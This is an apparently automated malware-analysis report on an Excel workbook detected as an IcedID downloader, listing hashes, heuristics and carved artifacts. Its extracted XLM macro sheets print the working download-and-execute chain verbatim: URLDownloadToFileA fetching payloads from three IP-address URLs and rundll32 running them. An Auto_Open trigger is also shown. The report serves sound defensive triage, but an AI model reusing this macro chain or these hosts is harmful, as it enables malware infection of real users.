Office (OOXML) malware analysis — malicious · 3cba224fd78f4d53

MALICIOUS

Office (OOXML)

172.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10

MD5: 9f5f2476003dff730ff0388486ff7cb0 SHA-1: ae10df87b8fbda34303b76da9be7741c9d3c43e4 SHA-256: 3cba224fd78f4d53fb5e16c19ad52098bce745b0fcc68875f3cf9d67c91ef82c

238 Risk Score

Heuristics 8

ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, EXEC, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Private Sub Auto_Open()
```
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://188.127.254.158/ Referenced by macro
- http://45.150.67.236/Referenced by macro
- http://195.123.213.78/Referenced by macro
- http://188.127.254.158/44283,9203350694.datReferenced by macro
- http://45.150.67.236/44283,9203350694.datReferenced by macro
- http://195.123.213.78/44283,9203350694.datReferenced by macro
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	725 bytes
SHA-256: `9456119f4ad9ffbf394753b3270c4cc6771da38eb4b7a68a2e2db0e18d3b2def`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Лист1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "ЭтаКнига" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1" Private Sub Auto_Open() Application.Run Sheets("Lof").Range("CD5") End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	10752 bytes
SHA-256: `cde8c6aefd25a341b1100e833ed767adf3279d707133063e3d4b97039ecb7915`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	3496 bytes
SHA-256: `33ef938e9fa0fd7e06947590de67ca124eeb8a7a0bda3b67b781f016c096f2bf`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}"><dimension ref="CB266:CF283"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.5546875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="78" width="8.5546875" style="1"/><col min="79" max="79" width="8.5546875" style="1" customWidth="1"/><col min="80" max="84" width="8.5546875" style="1" hidden="1" customWidth="1"/><col min="85" max="16384" width="8.5546875" style="1"/></cols><sheetData><row r="266" spans="81:83" x14ac:dyDescent="0.3"><c r="CD266" s="1"><f>NOW()</f><v>44283.920335069444</v></c></row><row r="267" spans="81:83" x14ac:dyDescent="0.3"><c r="CD267" s="1" t="b"><f>FORMULA.FILL("URLDownloadToFileA",CE271)</f><v>0</v></c></row><row r="268" spans="81:83" x14ac:dyDescent="0.3"><c r="CC268" s="1" t="str"><f>CONCATENATE(CC274,CD266,CC273)</f><v>http://188.127.254.158/44283,9203350694.dat</v></c></row><row r="269" spans="81:83" x14ac:dyDescent="0.3"><c r="CC269" s="1" t="str"><f>CONCATENATE(CC275,CD266,CC273)</f><v>http://45.150.67.236/44283,9203350694.dat</v></c><c r="CD269" s="1" t="b"><f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f><v>0</v></c><c r="CE269" s="1" t="s"><v>4</v></c></row><row r="270" spans="81:83" x14ac:dyDescent="0.3"><c r="CC270" s="1" t="str"><f>CONCATENATE(CC276,CD266,CC273)</f><v>http://195.123.213.78/44283,9203350694.dat</v></c><c r="CD270" s="1" t="b"><f>REGISTER(CE270,CE271,CE272,CE273,,1,9)</f><v>0</v></c><c r="CE270" s="1" t="s"><v>0</v></c></row><row r="271" spans="81:83" x14ac:dyDescent="0.3"><c r="CD271" s="1" t="e"><f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f><v>#NAME?</v></c></row><row r="272" spans="81:83" x14ac:dyDescent="0.3"><c r="CD272" s="1" t="e"><f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f><v>#NAME?</v></c><c r="CE272" s="1" t="s"><v>1</v></c></row><row r="273" spans="81:83" x14ac:dyDescent="0.3"><c r="CC273" s="1" t="s"><v>3</v></c><c r="CD273" s="1" t="e"><f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f><v>#NAME?</v></c><c r="CE273" s="1" t="s"><v>2</v></c></row><row r="274" spans="81:83" x14ac:dyDescent="0.3"><c r="CC274" s="1" t="s"><v>5</v></c></row><row r="275" spans="81:83" x14ac:dyDescent="0.3"><c r="CC275" s="1" t="s"><v>6</v></c></row><row r="276" spans="81:83" x14ac:dyDescent="0.3"><c r="CC276" s="1" t="s"><v>7</v></c></row><row r="280" spans="81:83" x14ac:dyDescent="0.3"><c r="CD280" s="1" t="b"><f>EXEC("rundll32 "&"..\Hodas.vyur"&",DllRegisterServer")</f><v>0</v></c></row><row r="283" spans="81:83" x14ac:dyDescent="0.3"><c r="CD283" s="1" t="e"><f>GOTO(Lov!E4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	1524 bytes
SHA-256: `a2ce2a9e42eae3aa14cd5f223f4b3b59e70988efdd370d2e091e70d8da44ea47`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{627EEF39-4B44-4490-9264-EA5BF8C1B6B9}"><dimension ref="E6:E8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.88671875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.88671875" style="1"/></cols><sheetData><row r="6" spans="5:5" x14ac:dyDescent="0.3"><c r="E6" s="1" t="b"><f>EXEC("rundll32 "&"..\Hodas.vyur1"&",DllRegisterServer")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.3"><c r="E8" s="1" t="e"><f>GOTO('Lov2'!D4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
`xlm_sheet_02.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet3.xml	1509 bytes
SHA-256: `c9074d5ab99827dff52b3ed1f36f3677541f7b56256a9ed95f057fdf5c783274`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72067F03-3C2F-409F-9206-0552CD863068}"><dimension ref="D6:D11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.21875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="8.21875" style="1"/></cols><sheetData><row r="6" spans="4:4" x14ac:dyDescent="0.3"><c r="D6" s="1" t="b"><f>EXEC("rundll32 "&"..\Hodas.vyur2"&",DllRegisterServer")</f><v>0</v></c></row><row r="11" spans="4:4" x14ac:dyDescent="0.3"><c r="D11" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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